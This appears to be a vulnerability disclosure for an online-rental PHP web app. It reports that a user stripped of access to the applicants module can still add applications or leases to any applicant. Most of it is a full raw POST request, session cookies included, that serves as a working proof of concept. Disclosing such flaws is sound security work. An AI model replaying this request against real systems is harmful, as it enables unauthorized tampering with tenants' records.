💥 BUG

privilege escalation bug to add applications/leases to a applicant .

💥 IMPACT

unprivileged user can add applications/leases to a applicant

💥 STEP TO REPRODUCE

1. From admin account goto http://localhost/online-rental/app/admin/pageViewMembers.php and add new user called user-B .
Now revoke all acccess from Applicants and tenants module for user-B .
So, user-B cant view/edit/create/delete any applicant.
2. Now goto admin account and add a new applicant .Lets asume the applicant id is 1\

3. Now goto user-B account and sent bellow request to add applications to above applicant.\

POST /online-rental/app/applications_leases_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------262860826928233363302456923789
Content-Length: 4676
Origin: http://localhost
Connection: close
Referer: http://localhost/online-rental/app/applications_leases_view.php?filterer_tenants=1&addNew_x=1&Embedded=1
Cookie: rental_property_manager=8qh2ouu3163e1bjr6f25i45c51; rental_property_manager_remember_me=admin%3B%3BgmQZpneqoh4A3C3H96ppYYrCSVqNqM%3B%3B6F5D9e1ZnoLmFtzl6hGNsDF4ABwrwt;  
Upgrade-Insecure-Requests: 1
Account: test2

-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="Embedded"

1
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="csrf_token"

6493ebf347845217c1a4eaeb6fc1e13b
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="filterer_tenants"

1
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="current_view"

DV
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="SortField"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="SelectedID"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="SelectedField"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="SortDirection"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="FirstRecord"

1
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="NoDV"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="PrintDV"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="DisplayRecords"

all
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="tenants"

1
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="status"

Application
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="property"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="unit"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="type"

Fixed
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="total_number_of_occupants"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="start_dateMonth"

7
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="start_dateDay"

3
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="start_dateYear"

2021
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="end_dateMonth"

7
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="end_dateDay"

3
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="end_dateYear"

2021
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="recurring_charges_frequency"

Monthly
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="next_due_dateMonth"

7
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="next_due_dateDay"

3
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="next_due_dateYear"

2021
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="rent"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="security_deposit"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="security_deposit_dateMonth"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="security_deposit_dateDay"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="security_deposit_dateYear"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="emergency_contact"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="co_signer_details"


-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="notes"

by_user<br>
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="insert_x"

1
-----------------------------262860826928233363302456923789
Content-Disposition: form-data; name="SearchString"


-----------------------------262860826928233363302456923789--

Here in this request change applicant id value to above applicant id and a new applications will be added to above applicant .
So, user-B dont have any access in applicant module but can add application to any applicant .